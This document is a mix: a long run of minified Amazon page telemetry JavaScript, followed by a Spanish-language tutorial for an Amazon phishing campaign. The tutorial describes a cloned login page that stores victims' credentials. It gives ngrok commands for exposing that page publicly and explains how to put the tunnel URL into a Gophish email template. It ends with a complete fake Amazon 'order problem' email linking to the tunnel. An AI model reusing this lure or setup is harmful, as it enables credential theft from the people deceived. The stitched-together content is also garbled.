                            }), v = u(p, 5e3)
                        } catch (t) {}
                    }(), g = r(h, "click", function(t) {
                        y || (y = !0, o("recordMetric", "documentCumulativeLayoutShiftToFirstInput", m), g())
                    }), r(h, "visibilitychange", function() {
                        "hidden" === h.visibilityState && p()
                    }), t.once("$unload", p))
                });
                csa.plugin(function(e) {
                    var t, n = e.global,
                        r = n.PerformanceObserver,
                        c = e("Metrics", {
                            producerId: "csa"
                        }),
                        o = 0,
                        i = 0,
                        a = -1,
                        l = n.Math,
                        f = l.max,
                        u = l.ceil;
                    if (r) {
                        t = new r(function(e) {
                            e.getEntries().forEach(function(e) {
                                var t = e.duration;
                                o += t, i += t, a = f(t, a)
                            })
                        });
                        try {
                            t.observe({
                                type: "longtask",
                                buffered: !0
                            })
                        } catch (e) {}
                        t = new r(function(e) {
                            0 < e.getEntries().length && (i = 0, a = -1)
                        });
                        try {
                            t.observe({
                                type: "largest-contentful-paint",
                                buffered: !0
                            })
                        } catch (e) {}
                        e.on("$unload", g), e.on("$beforePageTransition", g)
                    }

                    function g() {
                        c("recordMetric", "totalBlockingTime", u(i || 0)), c("recordMetric", "totalBlockingTimeInclLCP", u(o || 0)), c("recordMetric", "maxBlockingTime", u(a || 0)), i = o = 0, a = -1
                    }
                });
                csa.plugin(function(o) {
                    var e = "CacheDetection",
                        r = "csa-ctoken-",
                        n = o.store,
                        t = o.deleteStored,
                        c = o.config,
                        a = c[e + ".RequestID"],
                        i = c[e + ".Callback"],
                        s = o.global,
                        u = s.document || {},
                        d = s.Date,
                        l = o("Events"),
                        f = o("Events", {
                            producerId: "csa",
                            lob: c.lob || "0"
                        });

                    function p(e) {
                        try {
                            var n = u.cookie.match(RegExp("(^| )" + e + "=([^;]+)"));
                            return n && n[2].trim()
                        } catch (e) {}
                    }! function() {
                        var e = function() {
                                var e = p("cdn-rid");
                                if (e) return {
                                    r: e,
                                    s: "cdn"
                                }
                            }() || function() {
                                if (o.store(r + a)) return {
                                    r: o.UUID().toUpperCase().replace(/-/g, "").slice(0, 20),
                                    s: "device"
                                }
                            }() || {},
                            n = e.r,
                            c = e.s;
                        if (!!n) {
                            var t = p("session-id");
                            ! function(e, n, c, t) {
                                l("setEntity", {
                                    page: {
                                        pageSource: "cache",
                                        requestId: e,
                                        cacheRequestId: a,
                                        cacheSource: t
                                    },
                                    session: {
                                        id: c
                                    }
                                })
                            }(n, 0, t, c), "device" === c && f("log", {
                                schemaId: "<ns>.CacheImpression.2"
                            }, {
                                ent: "all"
                            }), i && i(n, t, c)
                        }
                    }(), n(r + a, d.now() + 36e5), o.once("$load", function() {
                        var c = d.now();
                        t(function(e, n) {
                            return 0 == e.indexOf(r) && parseInt(n) < c
                        })
                    })
                });
                csa.plugin(function(u) {
                    var i, t = "Content",
                        e = "MutationObserver",
                        n = "addedNodes",
                        a = "querySelectorAll",
                        f = "matches",
                        r = "getAttributeNames",
                        o = "getAttribute",
                        s = "dataset",
                        c = "widget",
                        l = "producerId",
                        d = "slotId",
                        h = "iSlotId",
                        g = {
                            ent: {
                                element: 1,
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        },
                        p = 5,
                        m = u.config[t + ".BubbleUp.SearchDepth"] || 35,
                        y = u.config[t + ".SearchPage"] || 0,
                        v = "csaC",
                        b = v + "Id",
                        E = "logRender",
                        w = {},
                        I = u.config,
                        O = I[t + ".Selectors"] || [],
                        C = I[t + ".WhitelistedAttributes"] || {
                            href: 1,
                            class: 1
                        },
                        N = I[t + ".EnableContentEntities"],
                        S = I["KillSwitch.ContentRendered"],
                        k = u.global,
                        A = k.document || {},
                        U = A.documentElement,
                        L = k.HTMLElement,
                        R = {},
                        _ = [],
                        j = function(t, e, n, i) {
                            var o = this,
                                r = u("Events", {
                                    producerId: t || "csa",
                                    lob: I.lob || "0"
                                });
                            e.type = e.type || c, o.id = e.id, o.l = r, o.e = e, o.el = n, o.rt = i, o.dlo = g, o.op = W(n, "csaOp"), o.log = function(t, e) {
                                r("log", t, e || g)
                            }, o.entities = function(t) {
                                t(e)
                            }, e.id && r("setEntity", {
                                element: e
                            })
                        },
                        x = j.prototype;

                    function D(t) {
                        var e = (t = t || {}).element,
                            n = t.target;
                        return e ? function(t, e) {
                            var n;
                            n = t instanceof L ? K(t) || Y(e[l], t, z, u.time()) : R[t.id] || H(e[l], 0, t, u.time());
                            return n
                        }(e, t) : n ? M(n) : u.error("No element or target argument provided.")
                    }

                    function M(t) {
                        var e = function(t) {
                            var e = null,
                                n = 0;
                            for (; t && n < m;) {
                                if (n++, P(t, b)) {
                                    e = t;
                                    break
                                }
                                t = t.parentElement
                            }
                            return e
                        }(t);
                        return e ? K(e) : new j("csa", {
                            id: null
                        }, null, u.time())
                    }

                    function P(t, e) {
                        if (t && t.dataset) return t.dataset[e]
                    }

                    function T(t, e, n) {
                        _.push({
                            n: n,
                            e: t,
                            t: e
                        }), B()
                    }

                    function q() {
                        for (var t = u.time(), e = 0; 0 < _.length;) {
                            var n = _.shift();
                            if (w[n.n](n.e, n.t), ++e % 10 == 0 && u.time() - t > p) break
                        }
                        i = 0, _.length && B()
                    }

                    function B() {
                        i = i || u.raf(q)
                    }

                    function X(t, e, n) {
                        return {
                            n: t,
                            e: e,
                            t: n
                        }
                    }

                    function Y(t, e, n, i) {
                        var o = u.UUID(),
                            r = {
                                id: o
                            },
                            c = M(e);
                        return e[s][b] = o, n(r, e), c && c.id && (r.parentId = c.id), H(t, e, r, i)
                    }

                    function $(t) {
                        return isNaN(t) ? null : Math.round(t)
                    }

                    function H(t, e, n, i) {
                        N && (n.schemaId = "<ns>.ContentEntity.2"), n.id = n.id || u.UUID();
                        var o = new j(t, n, e, i);
                        return function(t) {
                            return !S && ((t.op || {}).hasOwnProperty(E) || y)
                        }(o) && function(t, e) {
                            var n = {},
                                i = u.exec($);
                            t.el && (n = t.el.getBoundingClientRect()), t.log({
                                schemaId: "<ns>.ContentRender.3",
                                timestamp: e,
                                width: i(n.width),
                                height: i(n.height),
                                positionX: i(n.left + k.pageXOffset),
                                positionY: i(n.top + k.pageYOffset)
                            })
                        }(o, i), u.emit("$content.register", o), R[n.id] = o
                    }

                    function K(t) {
                        return R[(t[s] || {})[b]]
                    }

                    function W(n, i) {
                        var o = {};
                        return r in (n = n || {}) && Object.keys(n[s]).forEach(function(t) {
                            if (!t.indexOf(i) && i.length < t.length) {
                                var e = function(t) {
                                    return (t[0] || "").toLowerCase() + t.slice(1)
                                }(t.slice(i.length));
                                o[e] = n[s][t]
                            }
                        }), o
                    }

                    function z(t, e) {
                        r in e && (function(t, e) {
                            var n = W(t, v);
                            Object.keys(n).forEach(function(t) {
                                e[t] = n[t]
                            })
                        }(e, t), d in t && (t[h] = t[d]), function(e, n) {
                            (e[r]() || []).forEach(function(t) {
                                t in C && (n[t] = e[o](t))
                            })
                        }(e, t))
                    }
                    U && A[a] && k[e] && (O.push({
                        selector: "*[data-csa-c-type]",
                        entity: z
                    }), O.push({
                        selector: ".celwidget",
                        entity: function(t, e) {
                            z(t, e), t[d] = t[d] || e[o]("cel_widget_id") || e.id, t.legacyId = e[o]("cel_widget_id") || e.id, t.type = t.type || c
                        }
                    }), w[1] = function(t, e) {
                        t.forEach(function(t) {
                            t[n] && t[n].constructor && "NodeList" === t[n].constructor.name && Array.prototype.forEach.call(t[n], function(t) {
                                _.unshift(X(2, t, e))
                            })
                        })
                    }, w[2] = function(r, c) {
                        a in r && f in r && O.forEach(function(t) {
                            for (var e = t.selector, n = r[f](e), i = r[a](e), o = i.length - 1; 0 <= o; o--) _.unshift(X(3, {
                                e: i[o],
                                s: t
                            }, c));
                            n && _.unshift(X(3, {
                                e: r,
                                s: t
                            }, c))
                        })
                    }, w[3] = function(t, e) {
                        var n = t.e;
                        K(n) || Y("csa", n, t.s.entity, e)
                    }, w[4] = function() {
                        u.register(t, {
                            instance: D
                        })
                    }, new k[e](function(t) {
                        T(t, u.time(), 1)
                    }).observe(U, {
                        childList: !0,
                        subtree: !0
                    }), T(U, u.time(), 2), T(null, u.time(), 4), u.on("$content.export", function(e) {
                        Object.keys(e).forEach(function(t) {
                            x[t] = e[t]
                        })
                    }))
                });
                csa.plugin(function(o) {
                    var i, t = "ContentImpressions",
                        e = "KillSwitch.",
                        n = "IntersectionObserver",
                        r = "getAttribute",
                        s = "dataset",
                        c = "intersectionRatio",
                        a = "csaCId",
                        m = 1e3,
                        l = o.global,
                        f = o.config,
                        u = f[e + t],
                        v = f[e + t + ".ContentViews"],
                        g = ((l.performance || {}).timing || {}).navigationStart || o.time(),
                        d = {};

                    function h(t) {
                        t && (t.v = 1, function(t) {
                            t.vt = o.time(), t.el.log({
                                schemaId: "<ns>.ContentView.4",
                                timeToViewed: t.vt - t.el.rt,
                                pageFirstPaintToElementViewed: t.vt - g
                            })
                        }(t))
                    }

                    function I(t) {
                        t && !t.it && (t.i = o.time() - t.is > m, function(t) {
                            t.it = o.time(), t.el.log({
                                schemaId: "<ns>.ContentImpressed.3",
                                timeToImpressed: t.it - t.el.rt,
                                pageFirstPaintToElementImpressed: t.it - g
                            })
                        }(t))
                    }!u && l[n] && (i = new l[n](function(t) {
                        var n = o.time();
                        t.forEach(function(t) {
                            var e = function(t) {
                                if (t && t[r]) return d[t[s][a]]
                            }(t.target);
                            if (e) {
                                o.emit("$content.intersection", {
                                    meta: e.el,
                                    t: n,
                                    e: t
                                });
                                var i = t.intersectionRect;
                                t.isIntersecting && 0 < i.width && 0 < i.height && (v || e.v || h(e), .5 <= t[c] && !e.is && (e.is = n, e.timer = o.timeout(function() {
                                    I(e)
                                }, m))), t[c] < .5 && !e.it && e.timer && (l.clearTimeout(e.timer), e.is = 0, e.timer = 0)
                            }
                        })
                    }, {
                        threshold: [0, .5, .99]
                    }), o.on("$content.register", function(t) {
                        var e = t.el;
                        e && (d[t.id] = {
                            el: t,
                            v: 0,
                            i: 0,
                            is: 0,
                            vt: 0,
                            it: 0
                        }, i.observe(e))
                    }))
                });
                csa.plugin(function(e) {
                    e.config["KillSwitch.ContentLatency"] || e.emit("$content.export", {
                        mark: function(t, n) {
                            var o = this;
                            o.t || (o.t = e("Timers", {
                                logger: o.l,
                                schemaId: "<ns>.ContentLatency.4",
                                logOptions: o.dlo
                            })), o.t("mark", t, n)
                        }
                    })
                });
                csa.plugin(function(t) {
                    function n(i, e, o) {
                        var c = {};

                        function r(t, n, e) {
                            t in c && o <= n - c[t].s && (function(n, e, i) {
                                if (!p) return;
                                E(function(t) {
                                    T(n, t), t.w[n][e] = a((t.w[n][e] || 0) + i)
                                })
                            }(t, i, n - c[t].d), c[t].d = n), e || delete c[t]
                        }
                        this.update = function(t, n) {
                            n.isIntersecting && e <= n.intersectionRatio ? function(t, n) {
                                t in c || (c[t] = {
                                    s: n,
                                    d: n
                                })
                            }(t, u()) : r(t, u())
                        }, this.stopAll = function(t) {
                            var n = u();
                            for (var e in c) r(e, n, t)
                        }, this.reset = function() {
                            var t = u();
                            for (var n in c) c[n].s = t, c[n].d = t
                        }
                    }
                    var e = t.config,
                        u = t.time,
                        i = "ContentInteractionsSummary",
                        o = e[i + ".FlushInterval"] || 5e3,
                        c = e[i + ".FlushBackoff"] || 1.5,
                        r = t.global,
                        s = t.on,
                        a = Math.floor,
                        f = (r.document || {}).documentElement || {},
                        l = ((r.performance || {}).timing || {}).responseStart || t.time(),
                        d = o,
                        m = 0,
                        p = !0,
                        v = t.UUID(),
                        g = t("Events", {
                            producerId: "csa",
                            lob: e.lob || "0"
                        }),
                        w = new n("it0", 0, 0),
                        I = new n("it50", .5, 1e3),
                        h = new n("it100", .99, 0),
                        b = {},
                        A = {};

                    function $() {
                        w.stopAll(!0), I.stopAll(!0), h.stopAll(!0), S()
                    }

                    function C() {
                        w.reset(), I.reset(), h.reset(), S()
                    }

                    function S() {
                        d && (clearTimeout(m), m = t.timeout($, d), d *= c)
                    }

                    function U(n) {
                        E(function(t) {
                            T(n, t), t.w[n].mc = (t.w[n].mc || 0) + 1
                        })
                    }

                    function E(t) {
                        g("log", {
                            messageId: v,
                            schemaId: "<ns>.ContentInteractionsSummary.2",
                            w: {},
                            __merge: t
                        }, {
                            ent: {
                                page: ["requestId"]
                            }
                        })
                    }

                    function T(t, n) {
                        t in n.w || (n.w[t] = {})
                    }
                    e["KillSwitch." + i] || (s("$content.intersection", function(t) {
                        if (t && t.meta && t.e) {
                            var n = t.meta.id;
                            if (n in b) {
                                var e = t.e.boundingClientRect || {};
                                e.width < 5 || e.height < 5 || (w.update(n, t.e), I.update(n, t.e), h.update(n, t.e), !t.e.isIntersecting || n in A || (A[n] = 1, function(n, e) {
                                    E(function(t) {
                                        T(n, t), t.w[n].ttfv = a(e)
                                    })
                                }(n, u() - l)))
                            }
                        }
                    }), s("$content.register", function(t) {
                        (t.e || {}).slotId && (b[t.id] = {}, function(e) {
                            E(function(t) {
                                var n = e.id;
                                T(n, t), t.w[n].sid = (e.e || {}).slotId, t.w[n].cid = (e.e || {}).contentId
                            })
                        }(t))
                    }), s("$beforePageTransition", function() {
                        $(), C(), v = t.UUID(), S()
                    }), s("$beforeunload", function() {
                        w.stopAll(), I.stopAll(), h.stopAll(), d = null
                    }), s("$visible", function(t) {
                        t ? C() : ($(), clearTimeout(m)), p = t
                    }, {
                        buffered: 1
                    }), s(f, "click", function(t) {
                        for (var n = t.target, e = 25; n && 0 < e;) {
                            var i = (n.dataset || {}).csaCId;
                            i && U(i), n = n.parentElement, e -= 1
                        }
                    }, {
                        capture: !0,
                        passive: !0
                    }), S())
                });
                csa.plugin(function(d) {
                    var t, o, e = "normal",
                        c = "reload",
                        i = "history",
                        s = "new-tab",
                        n = "ajax",
                        r = 1,
                        a = 2,
                        u = "lastActive",
                        l = "lastInteraction",
                        p = "used",
                        f = "csa-tabbed-browsing",
                        y = "visibilityState",
                        g = "page",
                        v = "experience",
                        b = "request",
                        m = {
                            "back-memory-cache": 1,
                            "tab-switch": 1,
                            "history-navigation-page-cache": 1
                        },
                        I = "<ns>.TabbedBrowsing.4",
                        T = "visible",
                        h = d.global,
                        x = d("Events", {
                            producerId: "csa",
                            lob: d.config.lob || "0"
                        }),
                        w = h.location || {},
                        S = h.document,
                        q = h.JSON,
                        P = ((h.performance || {}).navigation || {}).type,
                        z = d.store,
                        E = d.on,
                        $ = d.storageSupport(),
                        k = !1,
                        A = {},
                        C = {},
                        O = {},
                        j = {},
                        B = {},
                        J = !1,
                        N = !1,
                        R = !1,
                        D = 0;

                    function F(e) {
                        try {
                            return q.parse(z(f, void 0, {
                                session: e
                            }) || "{}") || {}
                        } catch (e) {
                            d.error('Could not parse storage value for key "' + f + '": ' + e)
                        }
                        return {}
                    }

                    function G(e, i) {
                        z(f, q.stringify(i || {}), {
                            session: e
                        })
                    }

                    function H(e) {
                        var i = C.tid || e.id,
                            t = A[u] || {};
                        t.tid === i && (t.pid = e.id, t.ent = B), j = {
                            pid: e.id,
                            tid: i,
                            ent: B,
                            lastInteraction: C[l] || {},
                            initialized: !0
                        }, O = {
                            lastActive: t,
                            lastInteraction: A[l] || {},
                            time: d.time()
                        }
                    }

                    function K(e) {
                        var i = e === s,
                            t = S.referrer,
                            n = !(t && t.length) || !~t.indexOf(w.origin || ""),
                            r = i && n,
                            a = {
                                type: e,
                                toTabId: j.tid,
                                toPageId: j.pid,
                                transitTime: d.time() - A.time || null
                            };
                        r || function(e, i, t) {
                            var n = e === c,
                                r = i ? A[u] || {} : C,
                                a = A[l] || {},
                                d = C[l] || {},
                                o = i ? a : d;
                            t.fromTabId = r.tid, t.fromPageId = r.pid;
                            var s = r.ent || {};
                            s.rid && (t.fromRequestId = s.rid || null), s.ety && (t.fromExperienceType = s.ety || null), s.esty && (t.fromExperienceSubType = s.esty || null), n || !o.id || o[p] || (t.interactionId = o.id || null, o.sid && (t.interactionSlotId = o.sid || null), a.id === o.id && (a[p] = !0), d.id === o.id && (d[p] = !0))
                        }(e, i, a), x("log", {
                            navigation: a,
                            schemaId: I
                        }, {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        })
                    }

                    function L(e) {
                        R = function(e) {
                                return e && e in m
                            }(e.transitionType),
                            function() {
                                A = F(!1), C = F(!0);
                                var e = A[l],
                                    i = C[l],
                                    t = !1,
                                    n = !1;
                                e && i && e.id === i.id && e[p] !== i[p] && (t = !e[p], n = !i[p], i[p] = e[p] = !0, t && G(!1, A), n && G(!0, C))
                            }(), H(e), J = !0,
                            function(e) {
                                var i, t;
                                i = Q(), t = U(), (i || t) && H(e)
                            }(e), D = 1
                    }

                    function M() {
                        k && !R ? K(n) : (k = !0, K(P === a || R ? i : P === r ? C.initialized ? c : s : C.initialized ? e : s))
                    }

                    function Q() {
                        var e = t,
                            i = {};
                        return !!(J && e && e.e && e.w) && (e.w("entities", function(e) {
                            i = e || {}
                        }), C[l] = {
                            id: e.e.messageId,
                            sid: i.slotId,
                            used: !(A[l] = {
                                id: e.e.messageId,
                                sid: i.slotId,
                                used: !1
                            })
                        }, !(t = null))
                    }

                    function U() {
                        var e = !1;
                        if (N = S[y] === T, J) {
                            var i = A[u] || {};
                            e = function(e, i, t, n) {
                                var r = !1,
                                    a = e[u];
                                return N ? a && a.tid === j.tid && a[T] && a.pid === t || (e[u] = {
                                    visible: !0,
                                    pid: t,
                                    tid: i,
                                    ent: n
                                }, r = !0) : a && a.tid === j.tid && a[T] && (r = !(a[T] = !1)), r
                            }(A, C.tid || i.tid || j.tid, C.pid || i.pid || j.pid, C.ent || i.ent || j.ent)
                        }
                        return e
                    }
                    $.local && $.session && q && S && y in S && (o = function() {
                        try {
                            return h.self !== h.top
                        } catch (e) {
                            return !0
                        }
                    }(), E("$entities.set", function(e) {
                        if (!o && e) {
                            var i = (e[b] || {}).id || (e[g] || {}).requestId,
                                t = (e[v] || {}).experienceType || (e[g] || {}).pageType,
                                n = (e[v] || {}).experienceSubType || (e[g] || {}).subPageType,
                                r = !B.rid && i || !B.ety && t || !B.esty && n;
                            if (B.rid = B.rid || i, B.ety = B.ety || t, B.esty = B.esty || n, r && D) {
                                var a = A[u] || {};
                                a.tid === C.tid && (a.ent = B, G(!1, A)), C.ent = B, G(!0, C)
                            }
                        }
                    }, {
                        buffered: 1
                    }), E("$pageChange", function(e) {
                        o || (L(e), M(), G(!1, O), G(!0, j), C = j, A = O)
                    }, {
                        buffered: 1
                    }), E("$content.interaction", function(e) {
                        t = e, Q() && (G(!1, A), G(!0, C))
                    }), E(S, "visibilitychange", function() {
                        !o && U() && G(!1, A)
                    }, {
                        capture: !1,
                        passive: !0
                    }))
                });
                csa.plugin(function(c) {
                    var e = c("Metrics", {
                        producerId: "csa"
                    });
                    c.on(c.global, "pageshow", function(c) {
                        c && c.persisted && e("recordMetric", "bfCache", 1)
                    })
                });
                csa.plugin(function(n) {
                    var e, t, i, o, r, a, c, u, f, s, l, d, m, p, g, v, h = "hasFocus",
                        b = "$app.",
                        y = "avail",
                        S = "client",
                        T = "document",
                        $ = "inner",
                        I = "offset",
                        P = "screen",
                        w = "scroll",
                        D = "Width",
                        E = "Height",
                        F = y + D,
                        O = y + E,
                        q = S + D,
                        x = S + E,
                        z = $ + D,
                        C = $ + E,
                        H = I + D,
                        K = I + E,
                        M = w + D,
                        W = w + E,
                        X = n.config,
                        Y = X["KillSwitch.PageInteractionsSummary"],
                        j = n("Events", {
                            producerId: "csa",
                            lob: X.lob || "0"
                        }),
                        k = 1,
                        A = n.global || {},
                        B = n.time,
                        G = n.on,
                        J = n.once,
                        L = A[T] || {},
                        N = A[P] || {},
                        Q = A.Math || {},
                        R = Q.abs,
                        U = Q.max,
                        V = Q.ceil,
                        Z = ((A.performance || {}).timing || {}).responseStart,
                        _ = function() {
                            return L[h]()
                        },
                        nn = 1,
                        en = 100,
                        tn = {},
                        on = 1;

                    function rn() {
                        c = t = o = r = e, i = 0, a = u = f = s = 0, un(), cn()
                    }

                    function an() {
                        Z && !o && (c = V((o = l) - Z), on = 1)
                    }

                    function cn() {
                        u = V(U(u, m + v)), d && (f = V(U(f, d + g))), on = 1
                    }

                    function un() {
                        l = B(), d = R(A.pageXOffset || 0), m = R(A.pageYOffset || 0), p = 0 < d || 0 < m, g = A[z] || 0, v = A[C] || 0
                    }

                    function fn() {
                        un(), an(),
                            function() {
                                var n = m - i;
                                t && !(t && t <= l) || (n && (++a, on = 1), i = m, n), t = l + en
                            }(), cn()
                    }

                    function sn() {
                        if (r) {
                            var n = V(B() - r);
                            s += n, r = e, on = 0 < n
                        }
                    }

                    function ln() {
                        r = r || B()
                    }

                    function dn(n, e, t, i) {
                        e[n + D] = V(t || 0), e[n + E] = V(i || 0)
                    }

                    function mn(n) {
                        var e = n === tn,
                            t = _();
                        if (t || on) {
                            if (!e) {
                                if (!k) return;
                                k = 0, t && sn()
                            }
                            var i = function() {
                                    var n = {},
                                        e = L.documentElement || {},
                                        t = L.body || {};
                                    return dn("availableScreen", n, N[F], N[O]), dn(T, n, U(t[M] || 0, t[H] || 0, e[q] || 0, e[M] || 0, e[H] || 0), U(t[W] || 0, t[K] || 0, e[x] || 0, e[W] || 0, e[K] || 0)), dn(P, n, N.width, N.height), dn("viewport", n, A[z], A[C]), n
                                }(),
                                o = function() {
                                    var n = {
                                        scrollCounts: a,
                                        reachedDepth: u,
                                        horizontalScrollDistance: f,
                                        dwellTime: s
                                    };
                                    return "number" == typeof c && (n.clientTimeToFirstScroll = c), n
                                }();
                            e ? on = 0 : (rn(), Z = B(), t && (r = Z)), j("log", {
                                activity: o,
                                dimensions: i,
                                schemaId: "<ns>.PageInteractionsSummary.2"
                            }, {
                                ent: {
                                    page: ["pageType", "subPageType", "requestId"]
                                }
                            })
                        }
                    }

                    function pn() {
                        sn(), mn(tn)
                    }

                    function gn(n, e) {
                        return function() {
                            nn = e, n()
                        }
                    }

                    function vn() {
                        _ = function() {
                            return nn
                        }, nn && !r && (r = B())
                    }
                    "function" != typeof L[h] || Y || (rn(), p && an(), G(A, w, fn, {
                        passive: !0
                    }), G(A, "blur", pn), G(A, "focus", gn(ln, 1)), J(b + "android", vn), J(b + "ios", vn), G(b + "pause", gn(pn, 0)), G(b + "resume", gn(ln, 1)), G(b + "resign", gn(pn, 0)), G(b + "active", gn(ln, 1)), _() && (r = Z || B()), J("$beforeunload", mn), G("$beforeunload", mn), G("$document.hidden", pn), G("$beforePageTransition", mn), G("$afterPageTransition", function() {
                        on = k = 1
                    }))
                });
                csa.plugin(function(e) {
                    var o, n, r = "<ns>.Navigator.5",
                        a = e.global,
                        i = a.navigator || {},
                        d = i.connection || {},
                        c = a.Math.round,
                        t = e("Events", {
                            producerId: "csa",
                            lob: e.config.lob || "0"
                        });

                    function l() {
                        o = {
                            network: {
                                downlink: void 0,
                                downlinkMax: void 0,
                                rtt: void 0,
                                type: void 0,
                                effectiveType: void 0,
                                saveData: void 0
                            },
                            language: void 0,
                            doNotTrack: void 0,
                            hardwareConcurrency: void 0,
                            deviceMemory: void 0,
                            cookieEnabled: void 0,
                            webdriver: void 0
                        }, v(), o.language = i.language || null, o.doNotTrack = function() {
                            switch (i.doNotTrack) {
                                case "1":
                                    return "enabled";
                                case "0":
                                    return "disabled";
                                case "unspecified":
                                    return i.doNotTrack;
                                default:
                                    return null
                            }
                        }(), o.hardwareConcurrency = "hardwareConcurrency" in i ? c(i.hardwareConcurrency || 0) : null, o.deviceMemory = "deviceMemory" in i ? c(i.deviceMemory || 0) : null, o.cookieEnabled = "cookieEnabled" in i ? i.cookieEnabled : null, o.webdriver = "webdriver" in i ? i.webdriver : null
                    }

                    function u() {
                        t("log", {
                            network: (n = {}, Object.keys(o.network).forEach(function(e) {
                                n[e] = o.network[e] + ""
                            }), n),
                            language: o.language,
                            doNotTrack: o.doNotTrack,
                            hardwareConcurrency: o.hardwareConcurrency,
                            deviceMemory: o.deviceMemory,
                            cookieEnabled: o.cookieEnabled,
                            webdriver: o.webdriver,
                            schemaId: r
                        }, {
                            ent: {
                                page: ["pageType", "subPageType", "requestId"]
                            }
                        })
                    }

                    function v() {
                        ! function(n) {
                            Object.keys(o.network).forEach(function(e) {
                                o.network[e] = n[e]
                            })
                        }({
                            downlink: "downlink" in d ? c(d.downlink || 0) : null,
                            downlinkMax: "downlinkMax" in d ? c(d.downlinkMax || 0) : null,
                            rtt: "rtt" in d ? (d.rtt || 0).toFixed() : null,
                            type: d.type || null,
                            effectiveType: d.effectiveType || null,
                            saveData: "saveData" in d ? d.saveData : null
                        })
                    }

                    function k() {
                        v(), u()
                    }

                    function w() {
                        l(), u()
                    }
                    l(), u(), e.on("$afterPageTransition", w), e.on(d, "change", k)
                });


                ue.exec(function(d, c) {
                    function g(e, c) {
                        e && ue.tag(e + c);
                        return !!e
                    }

                    function n() {
                        for (var e = RegExp("^https://(.*\.(images|ssl-images|media)-amazon\.com|" + c.location.hostname + ")/images/", "i"), d = {}, h = 0, k = c.performance.getEntriesByType("resource"), l = !1, b, a, m, f = 0; f < k.length; f++)
                            if (a = k[f], 0 < a.transferSize && a.transferSize >= a.encodedBodySize && (b = e.exec(String(a.name))) && 3 === b.length) {
                                a: {
                                    b = a.serverTiming || [];
                                    for (a = 0; a < b.length; a++)
                                        if ("provider" === b[a].name) {
                                            b = b[a].description;
                                            break a
                                        } b = void 0
                                }
                                b && (l || (l = g(b, "_cdn_fr")),
                                    a = d[b] = (d[b] || 0) + 1, a > h && (m = b, h = a))
                            } g(m, "_cdn_mp")
                    }
                    d.ue && "function" === typeof d.ue.tag && c.performance && c.location && n()
                }, "cdnTagging")(ue_csm, window);


            }

            /* ◬ */
        </script>

    </div>

    <noscript>
        <img height="1" width="1" style='display:none;visibility:hidden;' src='//fls-eu.amazon.com/1/batch/1/OP/A1RKKUPIHCS9HS:260-7076577-0538233:KE82YVBED2PEDHPE6KTZ$uedata=s:%2Fap%2Fuedata%3Fnoscript%26id%3DKE82YVBED2PEDHPE6KTZ:0' alt="" />
    </noscript>

    <script>
        window.ue && ue.count && ue.count('CSMLibrarySize', 48875)
    </script>
</body>

</html>

Perspectiva:

Una vez estemos aqui ya se habrian escrito las credenciales en la base de datos, pero cuando le den a Iniciar sesión les llevara al verdadero login de la pagina oficial...

Pero esto estara en local por lo que solo nosotros podremos verlo, para ponerlo de forma publica tunelizando nuestro servidor local de apache2 a un dominio publico por asi decirlo lo haremos con la herramienta ngrok...

ngrok [Configuracion]

URL = https://ngrok.com/download

Primero lo descargaremos, seleccionaremos el S.O. acorde a donde se este configurando con la arquitectura correspondiente...

En la misma pagina crearemos una cuenta para tener una API Key, una vez creada la cuenta y descargado el archivo, descomprimiremos el archivo en la terminal...

tar -xvzf <FILE>.tgz

Esto nos dara el archivo ngrok sera el ejecutable que tunelizara el localhost:7755 (127.0.0.1:7755) en el respectivo puerto que lo configuramos de la siguiente manera con nuestra API Key...

URL (API Key) = https://dashboard.ngrok.com/get-started/your-authtoken

Aqui podremos ver nuestra API para poder hacer lo siguiente...

./ngrok authtoken <API Key>
./ngrok http 7755

Esto iniciara la tunelizacion del localhost proporcionando asi la URL a la que nos tenemos que conectar para poder visualizar que todo esta funcionando correctamente y la que tendremos que meter en el codigo del email de la herramienta Gophish...

Perspectiva:

En mi caso me proporciono https://9b19-90-169-44-222.ngrok-free.app pero por seguridad y que no les aparezca al usuario la interfaz de ngrok detallaremos dode quieres que se redirija al usuario de que archivo de la pagina, quedando de la siguiente forma...

URL = https://9b19-90-169-44-222.ngrok-free.app/index.php

Asi nos aseguramos que se muestre el index.php y esa URL es un ejemplo de lo que me salio a mi, pero puede ser distinta...

Una vez que tengamos la URL lo cambiaremos en Gophish en la seccion de Tempalte Email donde pone {{.URL}} lo sustituiremos por https://9b19-90-169-44-222.ngrok-free.app/index.php por lo que cuando den a un link les llevara al de nuestro localhost tunelizado por ngrok quedando de la siguiente manera...

<html>
<head>
	<title></title>
	<style type="text/css">.input_letter {
font-size: 17px;
font-weight: bold;
}

.line {
color: grey;
height: 0.1px;
}

.line_head {
color: orange;
height: 10px;
background-color: orange;
border: none;
margin-top: 0px;
}

.box {
background-color: rgba(220, 220, 220,0.45);
border-radius: 3px;
padding: 10px;
font-size: 12.5px;
color: rgb(130, 130, 130);
}

span.letter {
font-family: Verdana, Geneva, Thaoma, sans-serif;
}

body {
font-family: Verdana, Geneva, Thaoma, sans-serif;
color: black;
}
	</style>
</head>
<body>
<hr class="line_head" />
<p><img src="https://www.sosgats.org/wp-content/uploads/2017/01/logo-amazon.jpg" width="300" /></p>

<hr class="line" />
<p>Estimado/a cliente,<br />
<br />
Lamentamos informarle que ha habido un problema con uno de sus pedidos recientes en Amazon. Para resolver este problema y asegurarnos de que reciba su pedido a tiempo, necesitamos que confirme algunos detalles de su cuenta.<br />
<br />
Si no resuelve este problema, es posible que su pedido se retrase o sea cancelado. Agradecemos su pronta atenci&oacute;n a este asunto.<br />
<br />
Si tiene alguna pregunta o necesita asistencia adiccional, no dude en contactarnos a traves de nuestro servicio de atenci&oacute;n al cliente.<br />
<br />
Atentamente,<br />
<br />
Equipo de Atenci&oacute;n al Cliente Amazon.</p>

<p><a href="https://9b19-90-169-44-222.ngrok-free.app/index.php"><input class="input_letter" style="background-color: orange; border: none; border-radius: 3px; padding: 15px 32px;" type="submit" value="Seguimiento de tu pedido" /></a></p>

<div class="box"><span class="letter">Si en el futuro prefieres no recibir correos electr&oacute;nicos de Amazon de este tipo, selecciona la exluci&oacute;n voluntaria <a href="https://9b19-90-169-44-222.ngrok-free.app/index.php">aqu&iacute;</a></span><br />
<br />
<span class="letter">Referencia AKDFGD27DKIEHFU6-JDLJDJS423ILFPBNGS Amazon EU Sarl. Luxemburgo, Reg# B-1810102, 5 Rue Plaetis, L-23824 Luxemburgo. VAT # LU 2026781.</span><br />
&nbsp;
